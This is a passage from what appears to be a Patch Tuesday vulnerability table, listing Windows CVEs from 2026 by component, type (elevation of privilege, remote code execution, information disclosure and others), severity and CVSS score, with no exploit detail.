Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  